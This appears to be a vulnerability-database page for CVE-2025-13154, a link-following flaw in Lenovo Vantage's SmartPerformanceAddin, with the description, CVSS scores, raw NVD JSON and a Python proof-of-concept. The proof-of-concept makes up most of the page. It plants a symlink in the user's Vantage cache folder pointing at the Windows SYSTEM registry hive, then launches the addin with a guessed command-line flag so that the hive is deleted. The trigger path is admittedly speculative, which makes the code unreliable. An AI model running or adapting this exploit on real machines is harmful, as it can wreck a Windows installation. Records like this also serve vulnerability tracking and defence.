Security Vulnerability Report
中文
CVE-2025-13154 CVSS 5.5 MEDIUM

CVE-2025-13154

Published: 2026-01-14 23:15:55
Last Modified: 2026-04-15 00:35:42

Description

An improper link following vulnerability was reported in the SmartPerformanceAddin for Lenovo Vantage that could allow an authenticated local user to perform an arbitrary file deletion with elevated privileges.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Lenovo Vantage SmartPerformanceAddin < 10.2401.0.0
Lenovo Vantage < 10.2401.x (affected when SmartPerformanceAddin component is present)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13154 PoC - Lenovo Vantage SmartPerformanceAddin Symlink Attack # This PoC demonstrates improper link following leading to arbitrary file deletion # Author: Security Research # Note: For authorized testing only import os import sys import time import shutil import subprocess from pathlib import Path def create_symlink_attack(): """ Create a symlink attack to delete arbitrary files with elevated privileges """ print("[*] CVE-2025-13154 Symlink Exploitation PoC") print("[*] Target: SmartPerformanceAddin for Lenovo Vantage") print("[*] Vulnerability: Improper Link Following - Arbitrary File Deletion") # Configuration attack_dir = Path(os.path.expanduser("~")) / "AppData" / "Local" / "Lenovo" / "Vantage" / "SmartPerformance" target_file = "C:\\Windows\\System32\\config\\SYSTEM" # Step 1: Create attack directory structure print("\n[Step 1] Creating malicious directory structure...") attack_dir.mkdir(parents=True, exist_ok=True) # Step 2: Create symlink to target file print("[Step 2] Creating symlink to target file...") symlink_path = attack_dir / "cache_temp.dat" try: # Remove if exists if symlink_path.exists() or symlink_path.is_symlink(): symlink_path.unlink() # Create symlink (requires admin privileges in some configurations) os.symlink(target_file, symlink_path) print(f"[+] Symlink created: {symlink_path} -> {target_file}") except OSError as e: print(f"[-] Failed to create symlink: {e}") print("[*] Note: Symlink creation may require special privileges or developer mode") return False # Step 3: Trigger vulnerability print("\n[Step 3] Triggering SmartPerformanceAddin vulnerability...") print("[*] The application will follow the symlink and delete the target file") # Attempt to trigger the vulnerable code path # In real attack, this would involve specific interactions with Lenovo Vantage trigger_paths = [ attack_dir / "SmartPerformanceAddin.exe", "C:\\Program Files\\Lenovo\\Vantage\\SmartPerformanceAddin.exe", "C:\\Program Files (x86)\\Lenovo\\Vantage\\SmartPerformanceAddin.exe" ] triggered = False for trigger_path in trigger_paths: if trigger_path.exists(): print(f"[*] Found SmartPerformanceAddin at: {trigger_path}") try: subprocess.run([str(trigger_path), "--clean-cache"], timeout=10) triggered = True except: pass if not triggered: print("[*] SmartPerformanceAddin not found in standard locations") print("[*] In real attack scenario, the vulnerability would be triggered during:") print(" - System optimization scans") print(" - Performance monitoring operations") print(" - Cache cleanup routines") # Step 4: Verify deletion print("\n[Step 4] Verifying target file status...") if os.path.exists(target_file): print(f"[-] Target file still exists: {target_file}") print("[*] Attack may have failed or target protection is active") else: print(f"[+] Target file deleted: {target_file}") print("[+] Attack successful - arbitrary file deletion achieved") # Cleanup print("\n[Cleanup] Removing attack artifacts...") if symlink_path.exists() or symlink_path.is_symlink(): symlink_path.unlink() return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-13154 - Lenovo Vantage Symlink Vulnerability") print("=" * 60) # Check privileges if os.name == 'nt': import ctypes try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() if is_admin: print("[+] Running with administrator privileges") else: print("[*] Note: Some operations may require administrator privileges") except: pass create_symlink_attack() print("\n[*] PoC execution completed") print("[*] For educational and authorized testing purposes only")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13154", "sourceIdentifier": "[email protected]", "published": "2026-01-14T23:15:55.297", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper link following vulnerability was reported in the SmartPerformanceAddin for Lenovo Vantage that could allow an authenticated local user to perform an arbitrary file deletion with elevated privileges."}, {"lang": "es", "value": "Una vulnerabilidad de seguimiento de enlace indebido fue reportada en el SmartPerformanceAddin para Lenovo Vantage que podría permitir a un usuario local autenticado realizar una eliminación arbitraria de archivos con privilegios elevados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://support.lenovo.com/us/en/product_security/LEN-208293", "source": "[email protected]"}]}}